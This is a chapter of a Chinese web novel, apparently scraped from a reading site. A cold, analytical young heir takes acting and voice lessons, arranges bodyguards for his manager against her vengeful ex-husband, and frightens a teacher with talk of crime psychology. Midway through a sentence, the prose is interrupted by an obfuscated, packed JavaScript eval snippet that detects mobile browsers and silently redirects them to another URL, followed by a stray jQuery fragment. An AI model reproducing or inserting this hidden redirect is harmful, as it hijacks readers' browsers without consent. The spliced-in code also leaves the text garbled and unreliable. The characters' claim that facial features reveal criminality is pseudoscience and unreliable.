“这位是小彤老师,主要负责教学表演;这位是小文老师,北电知名教授,对台词演绎有十分深刻的了解;这位是阿瑟老师,是一名外教,在声乐方面有独特的认知……”
原身的经纪人,是一位带着眼镜,十分有知性美的女士,她的名字叫桑凝。
在这之前,她曾将籍籍无名的娱乐圈新人,培养成两位知名影帝,一位著名歌后,还有两位老戏骨。
她的实力,在圈内都十分有名,可惜眼神不太好,找了个五毒俱全的老公,两人在结婚后一地鸡毛,为离婚撕的焦头烂额,还被亲人蓄意投毒下,染上了精神依赖药物,甚至还被一手带出来的艺人背叛捅刀。
虽然那些人如今该坐牢的坐牢,没坐牢的也被全网黑,可她的身体也因此而落下了病根,需要花大价钱来维持生计,隔三差五都需要休息,这对经纪人这个行业来说,无疑是沉重打击。
经纪人这个职业本身就忙得脚不着地,更别说需要宽裕的时间修养,也只有江家愿意重金聘请,所以哪怕原身再怎么烂泥糊不上墙,哪怕是她职业生涯的一大败笔,桑凝也没有放弃原身。
可惜这位经纪人后来的下场并不友好,在江家倒台,她那五毒俱全的人渣前夫被释放后,将她残忍折磨分.尸……
想到这里,江叙白看了一眼桑凝的黑眼圈,“你眼部周围的毛细血管淤血扩张,是因为曲寅出狱的原因吗?”
曲寅是桑凝那五毒俱全的前夫。
正在给他介绍老师的桑凝:“???”
她有几分好气又好笑,还有些无奈:“请尊重一下,我在给你做介绍!”
桑凝抱着歉意看向这些老师:“不好意思,小孩子没定性。”
江叙白神色却是很认真:“我很尊重,但是根据心理研究学表明,偏激个体在遭受伤害后,会放大他人行为,我并不认为曲寅先生会在坐牢之后受到思想改造,以他那偏激自我的认知,定然会在出狱后对你实施报复。”
“他最近是不是在社交媒体上发表道歉言论?企图从你的社交范围获取你的相关信息?特别是地址位置,甚至有可能约你见面?”
桑凝有些惊讶,但也没有太过惊讶,觉得江叙白应该是不知道从哪里听说这件事。
她和曲寅曾共同生育一女,曲寅这人十分会装,婚前也是装的人模狗样,谁知道吃喝嫖赌毒一样不落!
可即便如此,还总是会有一些不安好心,缺心眼的倒霉玩意儿,认为浪子回头金不换,两人又有孩子,完全无视这桩婚姻给桑凝带来的伤害,觉得撮合这两人很有成就感,会主动充当中间人来进行劝说。
对此,桑凝只想说哪凉快到哪待着去!合着受伤害的人不是自己,才会如此轻而易举一笔带过,认为有复合的可能?
见桑凝不想多说,江叙白也没再劝,只是说道:“这样吧,我家也不缺钱。”
其他老师:“……”
有钱了不起吗???
好吧,确实很了不起……
江叙白无视其他人的吐槽,继续说道:“你是我家公司的员工,作为雇主有责任对你的人身安全进行负责。从今天开始,你去和林经理沟通一下,让他给你找两个职业保镖,最好是二十四小时,贴身保护的那种退役军人,费用从我个人账户里出,不走公司财务,要求从正规渠道,这点没问题吧?”
桑凝:“……”
其他人:“……”
阿瑟左看看右看看,试探问了一句:“我有个问题,不知道能不能说明?”
不等回应,他径自问道:“贵公司的待遇,都是这样的吗?年薪多少?有没有五险一金?福利待遇怎样?如果足够丰厚的话,我想我也不是不能考虑换一家公司任职。”
他觉得能因为员工私事,考虑到安全隐患,为此还主动自掏腰包雇佣安保人员的公司,应该不会是什么黑心公司,至少能够淘汰绝大部分公司。
桑凝:“……”
其他人:“……”
怎么还从教学变成转行了呢???
江叙白顿了一下,闻言看向对方:“如果需要应聘,可以投简历到人事部,我不管这方面。”
阿瑟有些遗憾地耸耸肩:“那好吧,我会好好考虑,你们请继续发表演讲。”
桑凝:“……”
演讲什么?演讲请保镖吗???
“现在是工作时间,这些稍后再谈,”桑凝进入工作状态,因为体质太差,哪怕是二十六度的室内温度,此刻也穿上了薄外套,她将时间表和文件发给众人:“课程安排时间,昨晚已经沟通过了,今天主要是过来签合同,顺便认一下脸。”
“各位可以看一下,如果没有其他问题的话,这半月时间内,有劳大家多辛苦一下。”
公司有专门成立的法务部,这些合同都是经过律师拟定,确保没有出现违反法律条文的例子出现。
其他人仔细看翻了一下,各自签署名字和按手印,合同一式两份,收好之后开启了今天的课程。
上午是教学表演课程,下午是声乐训练,晚上则是留给江叙白写作业的时间,课程安排得十分满满当当。
跟着小彤老师进入表演室前,江叙白还不忘叮嘱桑凝:“桑姐,阳奉阴违是一种不好的品质,如果让我发现你这样做,你今年的终奖至少减一半。”
桑凝:“……”
桑凝无言以对,反正花的又不是她的钱,她迟疑了几秒便往经理室走去。
小彤老师在得到邀请前,曾了解过江叙白之前演绎的作品。怎么说呢,只能说有努力没天赋,那拙劣出戏的演技,简直让人伤眼睛,还是她看在雇佣金的份上,这才担着业内名声受损风险,答应了这份邀请。
“你演绎一段身患癌症晚期的病患,在面对亲人时的表现。”
江叙白没有表演过,他并没有马上开始演绎,他正在思考。
“病患是什么家庭?”他提出问题。
小彤老师眼中闪过一抹赞赏,这是对演员主动挖掘角色身世的认可。
“普通家庭,”为了避免江叙白这种富家少爷对普通人的理解,有着不同的认知,她加重角色细节:“一家三口,父亲是清洁工人,母亲是洗碗工人,主角只是一个刚出社会,月薪三千,便突然诊断出癌症晚期的病人。”
江叙白若有所思垂眸。
对于这种家庭来说,癌症无异于是雪上加霜,更别说这个孩子还是夫妻二人的情感寄托。
在这种时候都没有想过要放弃的父母,肯定是非常深爱自己的孩子,可人是情感动物,即便再深爱自己的孩子,在面对生活的不顺和沉重到近乎喘不过气来得压力时,哪怕是压抑得再好,也会无意间流露出原本情绪。
主角是刚出社会的工作者,这意味着他的心智已经逐步走向成熟,至少明白生活的压力,以及病痛给这个家庭所带来的负担。
收集好信息,江叙白开始人生中的第一场演绎——
苍白的房间里,他虚弱地倚靠在枕头上,枕头被垫得很高,却还是无力地低头持续咳嗽,呼吸急促,哪怕是靠着呼吸器维持,也依然像条濒临死亡的鱼,拼命张嘴,企图吸收任何氧气。
终于,好不容易止下咳嗽,他依旧没敢抬起眼眸,视线垂落在‘母亲’虚虚搭在床边的手上。
那是一双粗糙脱皮的手,因为常年浸泡水中,角质软化泛白,带着微微泛红,分散开来的小红点,这些都是洗涤剂所带来的过敏现象。
“妈,你别老擦脸,”他声音轻得仿佛一只羽毛,几乎需要屏住呼吸才能听到:“上次你带来的玉米糖水很甜,等我好了,咱们一起去店里吃一次,这次我要吃冰的,你可不许拦我。”
‘母亲’坐在床边,手里紧紧攥着一块毛巾,只是反复摩挲着毛巾边角,眼睛紧紧盯着孩子苍白的脸,像是要把对方的样子刻画在脑海里,却在对方看过来的一瞬间连忙移开视线。
‘她’眼眶通红,假装去整理小桌子上的药瓶,指尖抖着把药瓶撞得叮当响,连声音都带着细微颤音:“这天气哪能吃凉的?也不怕吃坏肚子。”
说着,‘她’的肩膀一抽一抽的,像是忍不住什么,低着头脚步加快,走向洗漱间:“我去洗洗毛巾。”
洗漱间里只有水流发出哗哗声响,声音持续许久。
‘父亲’坐在隔床的空位上,无意识手指摩挲了几下,他偏头看向‘父亲’跛了一边的脚——那是为了给他筹够上大学的费用,父亲没日没夜接活,不慎从架子上摔下来,因此而行动不便,可即便如此,当时父亲还是笑呵呵跟他说,学费挣够了……
那些都是赔偿费换来的。
他张了张嘴,似乎想说什么,最后却改成:“爸,下次别买这家的苹果,我不爱吃,太酸了。”
‘父亲’的肩头紧绷得厉害,他别过身胡乱擦了把脸,回过头只剩眼眶有些泛红,声音却哑得厉害:“知道了,下次不买这家。”
人在弥留之际,总是会有些感应,或许知道自己时日无多,他眼神带着依恋和不舍,还有些许隐隐的释然,他声音逐渐微弱:“爸,妈,谢谢你们。”
谢谢你们没有放弃,但是对不起,我要离开了。
一场表演下来,江叙白本人瞬间出戏,倒是小彤老师眼眶通红,甚至还拿纸擦了擦鼻涕。
“你等会,让我平复一下。”
江叙白:“……”
“这只是演绎。”江叙白没什么安慰天赋。
小彤老师深吸一口气:“我当然知道,只是你懂吗?哪怕没有代入其中,单是以旁观者的角度,就已经很让人心里难受了,而且像这种家庭还有很多,虽然咱们今天只是演绎,可世界每个角落,每时每刻都在发生这种现象,人活着怎么这么难啊!?”
江叙白:“……”
说实话,江叙白很难理解这种情绪,他能过从人物角色获取线索,对人物情绪、行为、心理进行剖析和演绎,但无法做到感同身受。
对他来说,如果他是父母,在自己孩子身患重病时,他会尽最大努力去挽留,当然如果孩子自己选择离开,他也会尊重对方的意愿。
既然已经尽了最大努力,这还有什么可难过?生老病死不过是生态循环,每个人,每个动物都会有,缘聚缘散,人要学会告别,没有人能够永远陪着走到最后。
如果他是孩子的话,那么很遗憾,他向来看重利益,如果家境不好的情况下,他会选择在人生最后一段时光中,为亲朋好友做好规划,努力不留有任何遗憾,然后静待死亡,不会用整个家庭为代价,去寻找那么一丝微弱到几乎不可能的希望。
当然,这也仅仅只是他个人想法,他尊重一切选择,也并不反对那些不放弃任何希望的家属,相反他很敬佩这些人,至少他无法做到这种明知毫无希望,还保留着最后一丝希冀,恍若飞蛾扑火的事情。
尊重理解,但不选择,这就是他。
有那么一瞬间,江叙白想起某个吃牢饭的员工所说的那句话——江叙白,你是个冷心冷血的怪物。
怪物吗?人类具有多面性,想法不同可以理解,他也没有伤害任何人,不是吗?
“你对角色的理解,远超我的想象,”小彤老师已经整理好情绪:“唯一一点是,你戏太多了。”
江叙白有些不解地抬头。
“你还记得我让你表演什么吗?”
江叙白是个十分聪慧的人,一瞬间领悟小彤老师话中含义。
“我知道,我只是觉得一个人在这里无实物,单方表演太单调枯燥了,无法满足我对表演所达到的情绪递进需求。”
“所以你就演三个人,来回转换?”小彤老师声音都有些破音:“要不是你演技好,这样真的很容易让人出戏,你懂吗?”
对此,江叙白有着他自己的辩解:“如果有人和我对演就不会了,我对演戏的标准很高,不论是人物角色微动作微表情,还是心理情感把控,你能理解我的意思吗?”他甚至反客为主。
小彤老师:“……”
小彤老师无言以对。
“咱们私下可以这样,但是在选角导演面前,你可不能这样了啊!你是圈里人应该知道,那些选角导演最讨厌的就是故意唱反调的人,一个不听从指挥的演员,哪怕演技再好,往往都会被排除在外。”
没有人喜欢不听从指挥的人,不论是哪个行业都是如此。
江叙白不可置否地点了点头,看得小彤老师额头青筋隐隐跳动,就连血压都高了很多。
“我是很严肃地跟你说这件事,请你认真对待。”
江叙白有些疑惑地反问:“虽然这样很冒犯,但是我很疑惑,你一个拿着月薪的人,想要试图教我教学之外的事情,在担忧我的演艺生涯,这是为什么呢?即便无戏可拍,我也可以自己投资,至少我的演技,或许还能受到你的认可吧?”
他问得很认真,没有任何嘲讽之意,却让小彤老师一瞬间血液冲向大脑。
她就说天下没有免费的午餐,这么高的佣金,原来都是她的精神损失费啊!
再多管闲事,算她输!!!
小彤老师继续深呼吸,告诉自己被气出病来无人替,想想住院费,想想治疗费,再想想卡里的余额,瞬间头脑清醒,理智重回。
她现在冷漠得可怕!她的心,早已和她卡里的余额,和负债一样变得森寒得可怕。
“我再问你最后一个私人问题。”夏彤老师像个没有感情的机器,特意加重私人二字。
江叙白是个非常包容的雇主,他非常体谅被雇佣者莫名其妙的情绪。
“你说。”
“既然你有这么好的演技,为什么之前的作品,演得跟坨狗屎一样?”她说得粗鄙,却是话糙理不糙,说是狗屎都算是夸赞了,那简直是不忍直视,看一次伤一次!
演技得到认可的江叙白心情很好,至少证明他和原身除了在唱歌方面相同,其他方面却是有所差异。
“最近我在看书。”他打开手机点了点,随后小彤老师手机接收到一堆的消息震动提醒。
她疑惑地点开,看到来自江叙白本人发送的什么人类行为学,人类心理学,逻辑学,甚至连犯罪心理学都有,除此之外还有人体解剖学,看得小彤老师一阵心惊肉跳。
再回想刚才表演结束后,对方一瞬间从演绎角色中出戏,就连她这个旁观者都被虐到眼眶通红,而演绎者本身毫无影响,甚至当时似乎还在观察她的反应,这种置身之外,以旁观者角度的审视,结合这一堆令人头皮发麻的书……
小彤老师下意识瞥了一眼为了防止被打扰,而紧闭的表演室房门。
这家伙,该不会有反社会人格吧!?
似乎察觉到她的反应,江叙白微微低头,面无表情将某个文件包撤回:“不好意思,发错了,业余爱好而已。”
小彤老师:“……”
这还不如不解释!
“哈哈每个人兴趣不同,我能理解,”小彤老师干巴巴笑道,她瞄着门,一边小心翼翼挪动步伐,一边没话找话:“这就好比我平时看起来很亲和,平时也喜欢看恐怖电影一样。”
谁知,江叙白像是找到了同类一般,“你也喜欢看?其实我觉得那些作品对犯罪分子心理刻画演绎不是非常到位,”顿了顿,他问道:“你看过《神庄》吗?”
小彤老师简直恨死了自己的这张破嘴,简直是那壶不开提哪壶!为什么要提出这种诡异走向的话题啊,是嫌自己活久了,命太长吗???
但是江叙白在问,她不能不回答,不然暴露了她已然察觉对方真面目,她很有可能会就此从这个美好的世界上消失!这种有钱又懂法高智商反社会分子,一般最懂得如何处理尸体和后续事宜了!
“没、没看过,我一般都在工作,很少有时间休息,而且学校管得严,对我们老师的出行安排也会过问。”
按正常学校来说,校方只会对学生的人身安全加以重视,但是教职工也是学校的员工,不管有没有,今天都必须给她有!
江叙白闻言有些遗憾,但还是兴致高涨和她讲解:“《神庄》这个电影严格来说并不恐怖,主要讲述主人翁和旅队在雨夜中向农庄场主借宿,谁知突遇暴风雨引发泥石流,一群人被围困在庄园,发生命案的事。”
“这部电影最精彩的地方,在于反派作案的方式,你应该知道如何运用密室杀人,排除不在场证明吧?”
小彤老师:“……”
不,她不知道,不要随便猜测,谢谢。
见她不说话,江叙白又一连提出好几个杀人不在场手法。
小彤老师:“……”
别说了,她有点害怕呜呜~
“你在抖?”江叙白很是敏锐,“现在是二十六摄氏度,你体质很差?”
小彤老师:“……”
不,她在害怕!
平时能跑八百米不带停的小彤老师,含泪认下..体质差的这个说法。
她颤巍巍说道:“是的,我体质差。”
总不能说,她在害怕吧!?
“平时生理期会有痛经的情况吧?”江叙白并不觉得和异性讨论这个话题有什么不妥,在他看来这都是对病理的讨论:“正好我自学了一点医学,我帮你看看。”
他一步步接近小彤老师,恍若雨夜中变态.杀人狂身披着雨衣,仰头看向高楼,和女主对视时的可怖和森然。
小彤老师双腿发软,有点恨自己太过顽强的体质,以及太过胆小的心理。换做是其他人,这种情况一般分为三种,要么勇着莽上胡乱打,要么被吓得嗷嗷大叫逃走,或者惊惧之下直接晕厥,什么都不知道也挺好,不像她,属于第四种!
就那种因为腿软跑不动,因为胆小不敢动,又因为心理素质太过强悍无法晕倒,只能僵直得呆立原地,跑也跑不了,晕也晕不了,绝望地等待死亡即将到来的那段惊惧时光。
江叙白体温偏低,像条藏在暗中,随时可能绞杀猎物的毒蛇。
“虚火过旺,平时注意多喝温水,少吃冷食,”顿了顿,江叙白发出疑惑:“除此之外,你身体非常健康,怎么心率如此快?”
小彤老师:“……”
她试图做最后的挣扎:“我天生心率比别人快一些,没什么问题!”
江叙白有些不解,但还是选择尊重对方:“身体如果感到不舒服,建议最好到医院做检查,很多病都是被拖出来。”
像他,哪怕自律如他,也不是照样猝死?
小彤老师都不知道自己最后是怎么离开这扇门的,她觉得这简直比看恐怖片还要惊险。
当晚,江叙白收到来自桑凝的亲切问候,对方的咆哮隔着手机都能显现出威力。
“江叙白!”她一字一顿地念道:“你到底演技有多烂,才让一个A大教授,在不到短短一天之内,被你演技劝退?”
说到这,桑凝都有些无语:“我见过老师劝退学生,见过老板劝退员工,还是第一次见到有学生反向劝退老师!你到底有没有在认真学?”
“嗯?”江叙白疑惑了一声:“是小彤老师,还是阿瑟老师?”
按道理,也不应该啊!他和这两位老师相处得非常融洽,特别是小彤老师,两人还有共同兴趣!而阿瑟老师又是一位非常坦诚的人,虽然他在声乐方面非常没有天赋,可他胜在认真努力,在这点上,阿瑟老师都表示肯定,总不能是这位自知教学无望,知难而退吧???
桑凝摘下脸上的面膜,在心情不好的时候敷面膜等于白敷!
“小彤老师突然说她有急事,无法进行合作,还退了定金。”
“你怎么会觉得这是我的问题?她不都给你解释了吗?”江叙白无法理解对方的无理取闹。
“她能有什么急事?我在合作之前打听过了,现在是暑假,她没有课,也没有其他行程,能有什么事!?”
江叙白表示不背这个锅:“桑姐,你知道人随时有可能会面临其他突发状况,不得不暂时终止行程安排吗?也许是私事、家事,也不是没有可能,你怎么能仅用单纯主观臆断,来判断是我的原因造成?”
电话那边牙齿咬得咯吱响,听得出桑凝处于愤怒时刻,“但是小白,你好好给我解释这些话是什么意思?现在看手机!”
江叙白看了看手机,桑凝发来一张截图,信息大意是小彤老师支支吾吾委婉地表示或许江叙白需要调解心理。
江叙白:“???”
他快速回忆和小彤老师相处片段,有些迟疑:“她或许可能觉得我有点不听从指令?”
“她让我演绎一段夫妻都是底层工人阶级,孩子刚出来工作就被确诊癌症晚期。我的演绎十分出色,受到她的认可,为此她还哭了一下对我的演技表示肯定。”
桑凝:“???”
桑凝看了看手机,确认有没有坏掉,不然她怎么会听到这种匪夷所思的话?
还演绎出色,甚至哭了一下对江叙白的演技表示肯定……怎么听起来这么扯呢?真的不是辣眼到伤眼睛吗???
江叙白还在那里说:“但是在演绎方面,我和她产生了分歧,因为她要求我表演的是一个人,我对演绎标准很高,认为一个人无法满足当时的表演情绪递进,容易让观众无法代入,所以我一人分饰三人,即便如此她还是很欣赏我的演技。”
“唯一一点,她希望我在试镜时,不要再出现这种一人分饰三人的情况,不然选角导演会不喜欢,我诚恳询问她的工资情况,并对自身家庭条件做出介绍,向她表明无戏可演这种事情不会在我身上发生,好让她放心,然后我们就讨论了一下兴趣爱好,”江叙白肯定地点头:“我们聊得很尽兴。”
桑凝听完之后有些不解,这些话确实没什么问题,唯一有可能有冲突的地方就是问候对方的工资情况,会比较冒犯。
她重重叹了口气:“小白,这事不怪你。”
江叙白根本没有觉得自己有哪里不对,不论是桑凝是否误会,对他来说没有任何被冤枉难受的感觉。他之所以做出解释,只是单纯地说明情况,不喜欢被误会而已,这就好比对就是对,错就是错,不是他的错,为何要背锅,这种简单的道理,无关任何情绪。
桑凝还在说着:“下一个老师是小彤老师的师哥,是咱们自己圈里人,我和他有几分交情,到时候你可别再谈什么工资不工资,这种情况了啊!现在找一个有真材实料,人品又过得去,嘴巴还严实的老师有多难,你是不知道,不要再给我添乱子了,好吗?”
江叙白看了看时间:“还差一分到九点,我该睡了,晚安,桑姐。”
还没洗漱的桑凝:“……”
不是都说艺人很忙吗?怎么她的艺人,比她这个半休半工的经纪人作息还规律!?
哦,原来是富人家的少爷,那没事了。
原身原本计划是偶像路线,奈何唱跳不佳,改走演员路线,可惜是在没有演技,最后一边摧残观众眼睛,一边接综艺维持热度,现在换成江叙白,他对娱乐圈这个行业并不了解,目前暂时还没有明确规划,不过也只是暂时。
通过昨天人生中第一场表演,江叙白觉得演员这个行业还挺好,他其实有点情感淡漠,缺乏同理心,看待事情的角度从来都是往利益和现实出发。
这就好比如果身边亲人做错了事情,有些人可能会选择包庇,有些人可能会内心挣扎后选择大义灭亲,但是江叙白不会,他只会从‘正确’理智角度对待,哪怕罪犯情有可原,他能理解,但无法感同身受。
成为演员,或许也是一个机会。
江叙白对自我认知十分清晰,他非常清楚自己和正常人有什么不同,合群是人类社会必然行为,不合群的人,永远被排除之外,他非常了解这点,也非常积极融入正常人这个群体。
于是在桑凝不放心,第二天亲自过来监督,再次遭受魔音贯耳后,江叙白提出了自己的职业生涯规划。
“桑姐,我想成为一名优秀的演员,请你和公司对我的职业生涯往这方面规划。”
桑凝:“……”
桑凝只觉得自己耳朵经过刚才的摧残,可能还没有恢复过来,不然怎么会听到这么离谱的话?
她揉了揉耳朵:“你说什么?”
阿瑟帮他重复了一遍:“桑,小白说他想成为一位合格的演员。”
桑凝:“……”
原来不是她耳朵坏掉了,而是江叙白确实提出这种离谱的要求。
“你知道自己在说什么吗?”
江叙白肯定地颔首:“我是具有完全刑事责任年龄的成年人,目前意识十分清晰。”
桑凝:“……”
“我知道你是成年人,但是我也是你的经纪人,我需要对你的职业生涯负责,”见他态度坚定,桑凝微微叹了口气:“你既然有这个想法,我当然非常支持你,只是这点你说了不算,我说的也不算,等你明天你的新老师过来,看看他怎么评价。”
“如果他表示支持你的决定,那么我不会再反对,只要以后你不要埋怨我就行。”
江叙白提出解决方案:“今晚我会给你出具免责声明,法律是当事人最安全的保障。”
桑凝倒也没有这方面的意思,不过江叙白既然提出,这个想法对她确实有益,便也没多做阻拦。
自古人心易变,唯有法律更得人心。
“安保人员找了吗?”江叙白例行关心公司员工的人身安全。
阿瑟饶有兴致地看着这两个艺人和经纪人。
有点意思,艺人需要安保,经纪人也需要安保,这在娱乐圈非常罕见。
提到这个,桑凝更加无奈了,但还是回道:“今天中午两点过来,但是林经理给我足足请了四个!”她比着手指,再次强调:“足足四个啊!”
“说是两人为一组,一个负责白天,一个负责晚上,上一休一,那工资,开得都比我高!”
她吐槽道:“你不觉得用四个工资比我高的人,来保护我这个废物,有点太过奢侈了吗?”
阿瑟同样无法理解,但他会试图理解:“或许是你身上拥有什么常人无法察觉的价值?你这个人远比其他四个人加起来更重要?”
桑凝扯了扯嘴角:“谢谢你的安慰,但我现在除了还能动用一点人脉,其他根本没什么作用。”
“人贵有自知之明,这点我还是知道的。”
阿瑟摊了摊手,“哦,请不要心灰意冷,相信我,桑,没有哪个资本家会无偿做好事,你的作用远比你想象得更加重要。”
两人在这里互相安慰着,江叙白也在分析原身为什么会特意照顾这个经纪人,终于在某个角落里提取出关键线索。
“XX年X月X日,上午十一点四十分,你记不记得你曾帮助过一位走失的男孩?”
时间太过久远,桑凝已无法回忆,“似乎有那么一点印象,你不会说那个小男孩就是你吧?”她眼神中充满了震惊。
这就是做好人好事得到的善报吗!?
江叙白自学过人体解剖学,以及人体面部与解剖,这方面的相关书籍,对人体骨骼有深刻的了解,加上原身的记忆通过大数据图像加倍传送,他十分肯定,桑凝就是当时帮助原身的那位小姐姐。
“事实确实如此。”
“那你怎么从来都没有和我说过!?”桑凝震惊问道。
共事了两年啊!居然一点消息都没有透露!亏她还在疑心这个小伙子是不是番茄文里那种《霸道总裁爱上绝经的我》,或是她可能真的很有实力,能够让江家重视她?
现在事情真相水落石出,原来是帮助与回报的故事,害她胡思乱想了好久!
她都在幻想拿了江家父母给她分手五百万该怎么花,原来都是梦醒空欢喜!
果然要远离狗血小说和短视频!真就害人不浅!
开玩笑归开玩笑,桑凝也只是在心里调侃一下,并没有老牛吃嫩草的想法,光是一个前夫都够她头疼,差不多患上PTSD,不恐男都算好的了,哪里还有心思发展第二春?
江叙白冷静说道:“你也没问。”
桑凝:“……”
行吧,或许有钱人都是这么喜欢在背后默默付出,可恶!为什么她不是有钱人!?
桑凝表情逐渐狰狞。
阿瑟刚要伸手拍江叙白的肩膀,谁知他跟背后长了眼睛似的,自然地转身拿东西,这个动作极为自然,阿瑟也没感觉到有哪里不对。
他放下手:“我的课结束了,小白,作业记得加强练习,你的基础真的很差!”阿瑟着重强调:“是我带过学生中,基础最差的一位!”
江叙白:“……”
倒也不必这么郑重强调。
桑凝笑的肚子有些疼,打趣道:“阿瑟老师的话,有没有让你从演员梦中清醒?”
江叙白头也没回:“我的演技真的很好,和唱歌完全不一样,请不要用我的歌声来侮辱我的演技。”
桑凝简直快要被笑死。
神特么用他的歌声来侮辱他的演技,原来还有这种拿自己做对比的吗?
桑凝之所以今天会过来,是因为等安保人员,顺便看江叙白的学习,看到阿瑟老师对他点评后,时间也差不多了。
她刚要离开,却见江叙白也跟在后面。
“有事?”桑凝挑了挑眉。
江叙白郑重点头:“我认为你对自身处于危险状况中完全不当回事,为了防止员工出事,我家公司名声受到影响,同时为了避免支付——出于道德责任上的丧葬费和自愿补偿,我决定需要和那些安保人员进行当面有效沟通。”
桑凝错愕了一下,她诧异道:“你该不会真这样觉得吧?曲寅就是个孬种,他没那个胆子……”
江叙白耐心等她说完,这才说道:“一个五毒俱全的人渣,连违禁品都敢碰了,还有什么不敢?更何况对方身无分文,声名狼藉,还是你亲手大义灭亲,这有什么不可能?”
他越过桑凝:“永远不要低估一个人水尽山穷时的报复心理。”
在桑凝看来,曲寅确实是个败类,唯一有一点就是他长相斯斯文文,性格也非常温吞,即便再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16401393|181454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生气也不会和人动手。记得当时她察觉时还动过手,对方也没还手,事后更是低声下气下跪祈求原谅。
也正是因为如此,她在发现对方赌博,酗酒等等一系列毛病时,不论是为了私心还是被情感蒙蔽双眼,都选择原谅,直到发现这个败类发生原则性错误,触犯道德和法律底线时,这才无法容忍。
她到现在都不知道,究竟是这人受不住诱惑,还是伪装得太好,彻头彻尾地是个骗子。
感情总是无法理清,当初确实有过一段美好的回忆,可惜这些美好的回忆,深刻的感情,伴随着时间一点一滴消失,更可笑的是父母为了得到她的财产,防止她二嫁,居然下药妄图掌控她!
桑凝闭了闭眼。
或许她从来就看不懂人心,不懂得人性,身边的亲朋好友都从未真正认识过。
桑凝情绪低落,直到她看到了这些安保人员,雇佣合同上超出原先的工资数额,顿时情绪不低落了,只觉得心头一梗。
“为什么又变高了?”桑凝擦了擦眼镜。
所以她们的工资为什么又高出这么多!
为了避免私下相处不便,通过公司给她请安保人员都是女性。
江叙白性格很好,非常有耐心解释:“这两位是从特殊军种部队退役的老兵,通过国家认证,已经过了林经理安排的面试。”
“这位获得国际级别大赛的几任冠军拳王,你看这个肌肉和线条,一拳下去爆发力十分强悍,它们值得这个价钱。”
“还有这位也是退役战士,具有极强的反侦查意识和各种武器操作与运用,虽然因伤退役,但是后来自己开了一家武术馆。”
武术馆的这位看起来非常随和:“现在也开,只是贵公司给的实在太多了,只能交给其他人帮忙打理。”
桑凝:“……”
桑凝看着面前一米八,像一堵堵墙般结实地屹立在她面前的四位安保人员,默默吞咽了口水。
就……非常有安全感。
江叙白拿出曲寅地照片和相关资料,看向桑凝:“为了排除安全隐患,可以把曲寅地资料给她们吗?”
桑凝嘴角抽了抽:“可以,反正又不是我。”
自从江叙白一口一句曲寅有可能会报复她,桑凝越看越觉得曲寅有点不怀好意,到现在觉得曲寅有点面目可憎。
该死的人渣前夫,居然让江叙白给她花钱雇佣了这么多的保镖!这些钱,但凡换成年终奖,她都不知道自己会变成多么开朗的女孩!
“从面相分析,这人眉低压目,代表着性格容易偏激,你们看这双眼睛,是最典型的三白眼,很多穷凶极恶的人大多都是这种眼睛,当然并不绝对,不信你们可以去看看网上通缉的犯罪嫌疑人。”
“还有这个颧骨和这个嘴型,薄而紧闭,代表着这人内心极度压抑,具有极强的报复心理。”
武术馆安保同情地看了一眼桑凝:“这钱确实是我们应得的,我敢打包票,这人绝对会报复你!”
其他两位退役军人也是同样点头。
“我们执行过很多任务,跟过很多犯罪分子交手,也确实如此。有时候一个人的性格和心理,在外貌上能够分析出来。”
拳王安保摸了摸她那一头短发:“我没看出来,不过不用担心,老妹,你的安全放心交到我手上!”
桑凝:“我都三十九了。”
拳王安保愣了一下,发出尖锐爆.鸣:“居然三十九了?我才二十七,怎么你看起来比我还年轻!?”她难以置信。
江叙白没有听女孩子之间谈话的癖好,他继续回到表演室准备继续上课。
今天下午需要学习的是台词训练。
老师们都有共同的群聊,这是为了方便对接。
小文老师早已从网上和阿瑟老师那边,了解过江叙白声乐方面的情况,有着一定的认知,那就是完全没有任何基础。
“咱们时间紧,任务重,你之前的声乐老师和台词老师我就不说了,虽然不知道他们是怎么教你,但是在我这,你需要从零基础开始,没问题吧?”小文老师抬头看向江叙白,同时分出心整理教材。
江叙白当然完全没有问题,不管原身学了多少,在他这里确实是零基础,所以从零开始,没有任何毛病。
“可以。”
见他没有异议,小文老师给他发了书本,同时站起身,为了更加直观教学,走到江叙白身边,用手放到自己的小腹:“我们今天先学气息训练。来,跟着我,将手放到小腹位置,感受呼吸时的起伏和震动,用腹部呼吸,不要用胸腔,对,就是这样,缓慢均匀吐气。”
“很好,现在跟着我读一遍绕口令——出东门,过大桥……”
小文老师讲解得十分详细,完全是将细节揉碎,生怕江叙白不了解,非常对得起他的这个雇佣金。
练完气息训练之后,又到了吐字归音训练,以及口腔开合,到底是成年人,江叙白的学习能力很好,声音也十分具有可塑性,很快就掌握了这些最基本的基础。
“今天咱们先学到这,回去之后记得适当练习,但也不能过度,记得保护好自己的嗓子,忌生冷酸辣。”
这种手把手教学的方式,让江叙白觉得十分新颖,智商在这,从来没有哪位老师会这么详细,简直是把他当成小孩子来对待。
感觉……还算不错。
回到家之后,终于看到了纪琼薇女士和江山鹤先生。
又是一个蒲团大的手掌拍在肩膀,两人将他围绕,避无可避,只能接受这份窒息的关心。
“小白,几天不见,你又瘦了!”纪琼薇拍了两下,江叙白直接一个踉跄。
“你妈说得没错,小江同志,你这是没好好吃饭啊!”
江叙白努力站稳身形:“还有半个月就要去试镜,需要保持体型。”
而且,他有健身,三餐经过营养师的丰富搭配,体脂未降,也没有出现营养不良的情况,保持在健康范围内。
“我和你妈不懂你们年轻人这些,但要记得一个人出门在外,也要记得好好照顾自己,不要让我们担心,明白吗?”
纪琼薇同样苦口婆心:“娱乐圈有什么好的?辛辛苦苦录制一期节目,连咋们家的利息都比不上,而且那些人小心思算计啊,多得很!你这么单纯善良,很容易被人骗的!”
要是温屿听到这话肯定会觉得吐血。
就江叙白这嘴皮子功夫,谁说得过他啊!还有那动辄将人送进去踩缝纫机的频率,又有谁敢算计他?怕不是嫌自己自由过了火,才会陷进去学习新技术!
两人一口一个你好单纯,你好善良,听得江叙白频频点头。
没错,他就是一个富有正义感的社会十佳青年!
